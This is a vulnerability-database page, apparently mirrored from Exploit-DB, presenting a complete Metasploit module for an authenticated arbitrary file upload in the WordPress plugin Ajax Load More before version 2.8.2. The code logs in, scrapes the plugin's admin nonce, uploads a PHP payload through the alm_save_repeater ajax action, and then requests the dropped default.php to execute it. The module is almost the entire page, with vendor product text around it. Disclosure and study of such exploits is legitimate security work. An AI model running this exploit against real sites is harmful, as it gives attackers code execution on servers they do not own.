Lucene search
K

WordPress Plugin Ajax Load More < 2.8.2 - Arbitrary File Upload

🗓️ 18 Oct 2015 00:00:00Reported by PizzaHatHackerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload. Exploits authenticated file upload vulnerability in Wordpress plugin ajax-load-more versions < 2.8.2. Valid wordpress credentials required

Code
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
  
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload',
      'Description'     => %q{
          This module exploits an authenticated file upload vulnerability in Wordpress plugin
ajax-load-more versions < 2.8.2. Valid wordpress credentials are required for the exploit to work.
          Tested with version v2.7.3. (May work on older versions).
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pizza Hat Hacker <PizzaHatHacker[A]gmail[.]com', # Vulnerability discovery & Metasploit module
        ],
      'References'      =>
        [
          ['WPVDB', '8209']
        ],
      'DisclosureDate'  => 'Oct 02 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ajax-load-more', {}]],
      'DefaultTarget'   => 0
    ))
	
	register_options(
    [
         OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
         OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
    ], self.class)
  end
  
  def user
    datastore['WP_USER']
  end
  
  def password
    datastore['WP_PASSWORD']
  end
  
  def check
    # Check plugin version
	ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
	if ver
	  return Exploit::CheckCode::Appears
	end
	return Exploit::CheckCode::Safe
  end
  
  def exploit
    # Wordpress login
    print_status("#{peer} - Trying to login as #{user}")
    cookie = wordpress_login(user, password)
    if cookie.nil?
      print_error("#{peer} - Unable to login as #{user}")
      return
    end
    
    url = normalize_uri(wordpress_url_backend, 'profile.php')
    print_status("#{peer} - Retrieving WP nonce from #{url}")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => url,
      'cookie'   => cookie
    })
    
    if res and res.code == 200
      # "alm_admin_nonce":"e58b6d536d"
      res.body =~ /\"alm_admin_nonce\":\"([0-9a-f]+)\"/
      wp_nonce = $1
      if wp_nonce
        print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
      else
        vprint_error("#{peer} #{res.body}")
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
    end

    print_status("#{peer} - Trying to upload payload")
    
    # Generate MIME message
    data = Rex::MIME::Message.new
    data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
    data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
    data.add_part('default', nil, nil, 'form-data; name="type"')
    data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')

    print_status("#{peer} - Uploading payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_admin_ajax),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s,
      'cookie'   => cookie
    })
    
    filename = 'default.php'
    if res
      if res.code == 200
        lines = res.body.split("\n")
        if lines.length > 0
          message = lines[lines.length - 1]
          if message.include?('Template Saved Successfully')
            register_files_for_cleanup(filename)
          else
            vprint_error("#{peer} - Unexpected web page content : #{message}")
          end
        else
          fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end
    
    print_status("#{peer} - Calling uploaded file #{filename}")
    send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Oct 2015 00:00Current
7.4High risk
Vulners AI Score7.4
24